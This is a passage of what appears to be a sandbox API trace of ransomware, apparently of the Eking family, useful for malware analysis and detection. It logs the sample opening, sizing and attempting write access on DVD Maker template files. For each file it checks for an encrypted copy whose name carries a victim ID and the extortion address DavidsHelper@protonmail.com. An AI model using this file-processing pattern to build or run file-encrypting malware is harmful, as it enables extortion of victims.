Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.238] SetEvent (hEvent=0x174) returned 1 [0181.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.238] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=85208) returned 1 [0181.238] CloseHandle (hObject=0x1ec) returned 1 [0181.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0181.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0181.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.239] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=157208) returned 1 [0181.239] CloseHandle (hObject=0x1ec) returned 1 [0181.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0181.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0181.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.240] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=165208) returned 1 [0181.240] CloseHandle (hObject=0x1ec) returned 1 [0181.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0181.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0181.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.246] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=189214) returned 1 [0181.246] CloseHandle (hObject=0x1ec) returned 1 [0181.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0181.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0181.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.247] SetEvent (hEvent=0x174) returned 1 [0181.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.247] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=237208) returned 1 [0181.247] CloseHandle (hObject=0x1ec) returned 1 [0181.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0181.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv")) returned 0x20 [0181.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.248] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1545) returned 1 [0181.248] CloseHandle (hObject=0x1ec) returned 1 [0181.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0181.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png")) returned 0x20 [0181.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.249] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=9115) returned 1 [0181.249] CloseHandle (hObject=0x1ec) returned 1 [0181.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0181.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png")) returned 0x20 [0181.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\mainimage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.251] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1369) returned 1 [0181.251] CloseHandle (hObject=0x1ec) returned 1 [0181.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0181.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png")) returned 0x20 [0181.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\notes-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\notes-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.252] SetEvent (hEvent=0x174) returned 1 [0181.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.252] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1285) returned 1 [0181.252] CloseHandle (hObject=0x1ec) returned 1 [0181.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0181.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png")) returned 0x20 [0181.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\play-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\play-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.254] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4726) returned 1 [0181.254] CloseHandle (hObject=0x1ec) returned 1 [0181.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0181.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp")) returned 0x20 [0181.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.255] SetEvent (hEvent=0x174) returned 1 [0181.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.255] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27281) returned 1 [0181.255] CloseHandle (hObject=0x1ec) returned 1 [0181.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0181.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png")) returned 0x20 [0181.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.257] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3878) returned 1 [0181.257] CloseHandle (hObject=0x1ec) returned 1 [0181.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0181.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png")) returned 0x20 [0181.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.257] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.258] SetEvent (hEvent=0x174) returned 1 [0181.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.258] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5059) returned 1 [0181.258] CloseHandle (hObject=0x1ec) returned 1 [0181.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0181.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png")) returned 0x20 [0181.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.259] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27281) returned 1 [0181.259] CloseHandle (hObject=0x1ec) returned 1 [0181.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0181.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png")) returned 0x20 [0181.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.260] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.260] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0181.260] CloseHandle (hObject=0x1ec) returned 1 [0181.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_glass_thumbnail.bmp")) returned 0x20 [0181.260] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 